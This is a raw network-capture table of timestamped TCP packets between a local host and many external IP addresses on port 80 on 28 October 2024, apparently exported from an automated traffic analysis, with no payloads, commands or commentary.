Oct 28, 2024 16:39:17.945003986 CET	80	49730	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:17.945457935 CET	80	49730	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:20.065340042 CET	80	49730	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:20.065543890 CET	49730	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:20.065762997 CET	80	49730	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:20.065819025 CET	49730	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:20.066013098 CET	80	49730	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:20.066045046 CET	80	49730	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:20.066086054 CET	49730	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:20.066104889 CET	49730	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:20.070934057 CET	80	49730	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:20.070983887 CET	80	49730	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:20.070987940 CET	49730	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:20.826793909 CET	49731	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:39:20.832303047 CET	80	49731	172.234.222.138	192.168.2.8
Oct 28, 2024 16:39:20.832402945 CET	49731	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:39:20.832564116 CET	49731	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:39:20.832596064 CET	49731	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:39:20.837914944 CET	80	49731	172.234.222.138	192.168.2.8
Oct 28, 2024 16:39:20.837961912 CET	80	49731	172.234.222.138	192.168.2.8
Oct 28, 2024 16:39:21.505004883 CET	80	49731	172.234.222.138	192.168.2.8
Oct 28, 2024 16:39:21.505106926 CET	49731	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:39:21.505201101 CET	49731	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:39:21.510921001 CET	80	49731	172.234.222.138	192.168.2.8
Oct 28, 2024 16:39:21.532455921 CET	49732	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:39:21.537967920 CET	80	49732	172.234.222.138	192.168.2.8
Oct 28, 2024 16:39:21.538135052 CET	49732	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:39:21.538259983 CET	49732	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:39:21.538300037 CET	49732	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:39:21.543564081 CET	80	49732	172.234.222.138	192.168.2.8
Oct 28, 2024 16:39:21.543633938 CET	80	49732	172.234.222.138	192.168.2.8
Oct 28, 2024 16:39:22.210040092 CET	80	49732	172.234.222.138	192.168.2.8
Oct 28, 2024 16:39:22.210498095 CET	49732	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:39:22.210498095 CET	49732	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:39:22.216016054 CET	80	49732	172.234.222.138	192.168.2.8
Oct 28, 2024 16:39:23.321954012 CET	49733	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:39:23.327475071 CET	80	49733	34.246.200.160	192.168.2.8
Oct 28, 2024 16:39:23.327594042 CET	49733	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:39:23.329283953 CET	49733	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:39:23.329304934 CET	49733	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:39:23.334700108 CET	80	49733	34.246.200.160	192.168.2.8
Oct 28, 2024 16:39:23.334851027 CET	80	49733	34.246.200.160	192.168.2.8
Oct 28, 2024 16:39:24.292184114 CET	80	49733	34.246.200.160	192.168.2.8
Oct 28, 2024 16:39:24.292448997 CET	49733	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:39:24.298415899 CET	80	49733	34.246.200.160	192.168.2.8
Oct 28, 2024 16:39:24.298517942 CET	49733	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:39:24.437289000 CET	49734	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:24.443140984 CET	80	49734	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:24.443227053 CET	49734	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:24.443377018 CET	49734	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:24.443407059 CET	49734	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:24.449142933 CET	80	49734	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:24.449177980 CET	80	49734	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:25.111860991 CET	80	49734	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:25.112085104 CET	49734	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:25.117990017 CET	80	49734	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:25.120147943 CET	49734	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:25.397490978 CET	49735	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:25.403153896 CET	80	49735	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:25.403295040 CET	49735	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:25.403506994 CET	49735	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:25.403548002 CET	49735	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:25.409131050 CET	80	49735	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:25.409210920 CET	80	49735	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:26.055953979 CET	80	49735	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:26.111655951 CET	49735	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:26.170922041 CET	49735	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:26.170960903 CET	49735	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:26.176517963 CET	80	49735	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:26.176537037 CET	80	49735	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:26.321160078 CET	80	49735	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:26.361680984 CET	49735	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:26.545595884 CET	49736	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:26.551457882 CET	80	49736	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:26.551574945 CET	49736	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:26.551808119 CET	49736	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:26.551843882 CET	49736	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:26.557337999 CET	80	49736	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:26.557897091 CET	80	49736	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:27.975825071 CET	80	49736	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:27.976015091 CET	49736	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:27.981976032 CET	80	49736	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:27.982040882 CET	49736	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:28.177484989 CET	49737	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:28.184216022 CET	80	49737	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:28.184305906 CET	49737	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:28.184624910 CET	49737	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:28.184648037 CET	49737	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:28.190001965 CET	80	49737	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:28.190450907 CET	80	49737	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:28.862994909 CET	80	49737	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:28.869251013 CET	49737	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:28.875061989 CET	80	49737	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:28.875159025 CET	49737	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:29.524892092 CET	49739	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:29.530492067 CET	80	49739	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:29.530572891 CET	49739	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:29.530703068 CET	49739	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:29.530728102 CET	49739	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:29.536149025 CET	80	49739	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:29.536181927 CET	80	49739	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:30.353326082 CET	80	49739	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:30.353481054 CET	49739	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:30.359489918 CET	80	49739	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:30.359555960 CET	49739	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:30.622554064 CET	49740	80	192.168.2.8	35.164.78.200
Oct 28, 2024 16:39:30.628108978 CET	80	49740	35.164.78.200	192.168.2.8
Oct 28, 2024 16:39:30.628209114 CET	49740	80	192.168.2.8	35.164.78.200
Oct 28, 2024 16:39:30.628403902 CET	49740	80	192.168.2.8	35.164.78.200
Oct 28, 2024 16:39:30.628463030 CET	49740	80	192.168.2.8	35.164.78.200
Oct 28, 2024 16:39:30.633788109 CET	80	49740	35.164.78.200	192.168.2.8
Oct 28, 2024 16:39:30.633820057 CET	80	49740	35.164.78.200	192.168.2.8
Oct 28, 2024 16:39:31.489258051 CET	80	49740	35.164.78.200	192.168.2.8
Oct 28, 2024 16:39:31.491347075 CET	49740	80	192.168.2.8	35.164.78.200
Oct 28, 2024 16:39:31.497174978 CET	80	49740	35.164.78.200	192.168.2.8
Oct 28, 2024 16:39:31.497482061 CET	49740	80	192.168.2.8	35.164.78.200
Oct 28, 2024 16:39:31.764590025 CET	49741	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:39:31.770127058 CET	80	49741	3.94.10.34	192.168.2.8
Oct 28, 2024 16:39:31.770211935 CET	49741	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:39:31.770368099 CET	49741	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:39:31.770390987 CET	49741	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:39:31.775729895 CET	80	49741	3.94.10.34	192.168.2.8
Oct 28, 2024 16:39:31.775994062 CET	80	49741	3.94.10.34	192.168.2.8
Oct 28, 2024 16:39:32.432141066 CET	80	49741	3.94.10.34	192.168.2.8
Oct 28, 2024 16:39:32.432333946 CET	49741	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:39:32.438625097 CET	80	49741	3.94.10.34	192.168.2.8
Oct 28, 2024 16:39:32.438724995 CET	49741	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:39:32.749350071 CET	49742	80	192.168.2.8	165.160.13.20
Oct 28, 2024 16:39:32.754965067 CET	80	49742	165.160.13.20	192.168.2.8
Oct 28, 2024 16:39:32.755084038 CET	49742	80	192.168.2.8	165.160.13.20
Oct 28, 2024 16:39:32.755208015 CET	49742	80	192.168.2.8	165.160.13.20
Oct 28, 2024 16:39:32.755220890 CET	49742	80	192.168.2.8	165.160.13.20
Oct 28, 2024 16:39:32.760632038 CET	80	49742	165.160.13.20	192.168.2.8
Oct 28, 2024 16:39:32.761161089 CET	80	49742	165.160.13.20	192.168.2.8
Oct 28, 2024 16:39:33.434681892 CET	80	49742	165.160.13.20	192.168.2.8
Oct 28, 2024 16:39:33.486730099 CET	49742	80	192.168.2.8	165.160.13.20
Oct 28, 2024 16:39:34.235814095 CET	49742	80	192.168.2.8	165.160.13.20
Oct 28, 2024 16:39:34.235851049 CET	49742	80	192.168.2.8	165.160.13.20
Oct 28, 2024 16:39:34.241173029 CET	80	49742	165.160.13.20	192.168.2.8
Oct 28, 2024 16:39:34.241189003 CET	80	49742	165.160.13.20	192.168.2.8
Oct 28, 2024 16:39:34.402050018 CET	80	49742	165.160.13.20	192.168.2.8
Oct 28, 2024 16:39:34.455446959 CET	49742	80	192.168.2.8	165.160.13.20
Oct 28, 2024 16:39:34.929358959 CET	49743	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:34.934724092 CET	80	49743	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:34.934822083 CET	49743	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:34.935137987 CET	49743	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:34.935137987 CET	49743	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:34.940566063 CET	80	49743	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:34.940577030 CET	80	49743	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:35.764415979 CET	80	49743	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:35.764592886 CET	49743	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:35.771121025 CET	80	49743	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:35.771198034 CET	49743	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:36.246257067 CET	49735	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:36.246530056 CET	49744	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:36.251935959 CET	80	49744	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:36.251986027 CET	80	49735	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:36.252016068 CET	49744	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:36.252058029 CET	49735	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:36.252187967 CET	49744	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:36.252221107 CET	49744	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:36.257525921 CET	80	49744	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:36.257546902 CET	80	49744	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:36.891915083 CET	80	49744	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:36.939789057 CET	49744	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:37.375463963 CET	49744	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:37.375498056 CET	49744	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:37.381014109 CET	80	49744	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:37.381339073 CET	80	49744	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:37.521717072 CET	80	49744	208.100.26.245	192.168.2.8
Oct 28, 2024 16:39:37.564805984 CET	49744	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:39:37.952135086 CET	49745	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:37.957732916 CET	80	49745	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:37.957865953 CET	49745	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:37.958014965 CET	49745	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:37.958036900 CET	49745	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:37.963361025 CET	80	49745	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:37.963376045 CET	80	49745	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:38.799607992 CET	80	49745	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:38.799815893 CET	49745	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:38.805721045 CET	80	49745	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:38.805800915 CET	49745	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:39.096920967 CET	49746	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:39.102416039 CET	80	49746	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:39.102503061 CET	49746	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:39.102689981 CET	49746	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:39.102720976 CET	49746	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:39.108077049 CET	80	49746	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:39.108104944 CET	80	49746	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:39.930499077 CET	80	49746	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:39.930694103 CET	49746	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:39.936908960 CET	80	49746	54.244.188.177	192.168.2.8
Oct 28, 2024 16:39:39.936975002 CET	49746	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:39:40.299798965 CET	49747	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:40.305856943 CET	80	49747	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:40.305933952 CET	49747	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:40.306371927 CET	49747	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:40.306408882 CET	49747	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:40.311765909 CET	80	49747	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:40.311858892 CET	80	49747	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:41.741118908 CET	80	49747	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:41.741389036 CET	49747	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:41.747198105 CET	80	49747	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:41.747268915 CET	49747	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:42.169307947 CET	49748	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:42.174829960 CET	80	49748	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:42.174931049 CET	49748	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:42.175066948 CET	49748	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:42.175101042 CET	49748	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:42.180366039 CET	80	49748	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:42.180396080 CET	80	49748	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:42.852117062 CET	80	49748	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:42.852375984 CET	49748	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:42.858242989 CET	80	49748	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:42.858326912 CET	49748	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:43.212311029 CET	49749	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:43.217747927 CET	80	49749	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:43.217825890 CET	49749	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:43.218343019 CET	49749	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:43.218369961 CET	49749	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:43.223748922 CET	80	49749	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:43.223774910 CET	80	49749	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:43.890717983 CET	80	49749	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:43.926481009 CET	80	49749	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:43.926541090 CET	49749	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:44.130661964 CET	49749	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:44.136221886 CET	80	49749	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:44.617968082 CET	49750	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:44.623526096 CET	80	49750	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:44.623611927 CET	49750	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:44.623941898 CET	49750	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:44.623958111 CET	49750	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:44.629250050 CET	80	49750	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:44.629265070 CET	80	49750	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:46.119194984 CET	80	49750	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:46.119390011 CET	49750	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:46.125302076 CET	80	49750	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:46.125386000 CET	49750	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:46.424536943 CET	49751	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:39:46.430286884 CET	80	49751	18.246.231.120	192.168.2.8
Oct 28, 2024 16:39:46.430396080 CET	49751	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:39:46.430521965 CET	49751	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:39:46.430552006 CET	49751	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:39:46.435905933 CET	80	49751	18.246.231.120	192.168.2.8
Oct 28, 2024 16:39:46.435920000 CET	80	49751	18.246.231.120	192.168.2.8
Oct 28, 2024 16:39:47.262650013 CET	80	49751	18.246.231.120	192.168.2.8
Oct 28, 2024 16:39:47.314621925 CET	49751	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:39:47.320463896 CET	80	49751	18.246.231.120	192.168.2.8
Oct 28, 2024 16:39:47.320560932 CET	49751	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:39:48.004445076 CET	49752	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:48.009860039 CET	80	49752	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:48.009943008 CET	49752	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:48.010153055 CET	49752	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:48.010194063 CET	49752	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:48.015502930 CET	80	49752	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:48.015708923 CET	80	49752	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:48.702630997 CET	80	49752	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:48.702807903 CET	49752	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:48.708513975 CET	80	49752	18.208.156.248	192.168.2.8
Oct 28, 2024 16:39:48.708585024 CET	49752	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:39:49.244932890 CET	49754	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:49.250617027 CET	80	49754	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:49.250718117 CET	49754	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:49.250874996 CET	49754	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:49.250910044 CET	49754	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:49.256191969 CET	80	49754	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:49.256529093 CET	80	49754	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:50.703836918 CET	80	49754	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:50.751257896 CET	49754	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:50.756813049 CET	80	49754	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:50.756866932 CET	49754	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:51.097253084 CET	49765	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:51.102719069 CET	80	49765	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:51.102790117 CET	49765	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:51.102900982 CET	49765	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:51.102936029 CET	49765	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:51.108124018 CET	80	49765	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:51.108180046 CET	80	49765	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:52.545533895 CET	80	49765	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:52.545702934 CET	49765	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:52.551927090 CET	80	49765	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:52.551995993 CET	49765	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:53.000307083 CET	49778	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:53.005723953 CET	80	49778	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:53.005925894 CET	49778	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:53.006161928 CET	49778	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:53.006236076 CET	49778	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:53.011601925 CET	80	49778	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:53.011625051 CET	80	49778	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:53.830769062 CET	80	49778	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:53.877335072 CET	49778	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:53.933815002 CET	49778	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:53.940035105 CET	80	49778	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:53.940103054 CET	49778	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:54.068854094 CET	49784	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:39:54.074214935 CET	80	49784	47.129.31.212	192.168.2.8
Oct 28, 2024 16:39:54.074295044 CET	49784	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:39:54.075061083 CET	49784	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:39:54.075124025 CET	49784	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:39:54.080482006 CET	80	49784	47.129.31.212	192.168.2.8
Oct 28, 2024 16:39:54.080635071 CET	80	49784	47.129.31.212	192.168.2.8
Oct 28, 2024 16:39:55.554821968 CET	80	49784	47.129.31.212	192.168.2.8
Oct 28, 2024 16:39:55.556154013 CET	49784	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:39:55.562055111 CET	80	49784	47.129.31.212	192.168.2.8
Oct 28, 2024 16:39:55.562275887 CET	49784	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:39:55.569938898 CET	49790	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:55.575347900 CET	80	49790	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:55.575443983 CET	49790	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:55.575562954 CET	49790	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:55.575581074 CET	49790	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:55.581315994 CET	80	49790	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:55.581589937 CET	80	49790	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:57.010114908 CET	49790	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:57.014138937 CET	80	49790	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:57.015433073 CET	49790	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:57.017419100 CET	49801	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:57.022769928 CET	80	49801	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:57.023395061 CET	49801	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:57.069655895 CET	49801	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:57.069691896 CET	49801	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:57.075063944 CET	80	49801	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:57.075079918 CET	80	49801	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:58.467119932 CET	80	49801	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:58.469043016 CET	49801	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:58.474720955 CET	80	49801	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:58.474776030 CET	49801	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:58.625857115 CET	49809	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:58.631280899 CET	80	49809	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:58.631359100 CET	49809	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:58.631761074 CET	49809	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:58.631762028 CET	49809	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:58.637223005 CET	80	49809	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:58.637238979 CET	80	49809	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:59.464253902 CET	80	49809	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:59.470391035 CET	49809	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:59.476218939 CET	80	49809	34.211.97.45	192.168.2.8
Oct 28, 2024 16:39:59.476288080 CET	49809	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:39:59.485467911 CET	49812	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:39:59.490919113 CET	80	49812	3.94.10.34	192.168.2.8
Oct 28, 2024 16:39:59.490987062 CET	49812	80	192.168.2.8	3.94.10.34
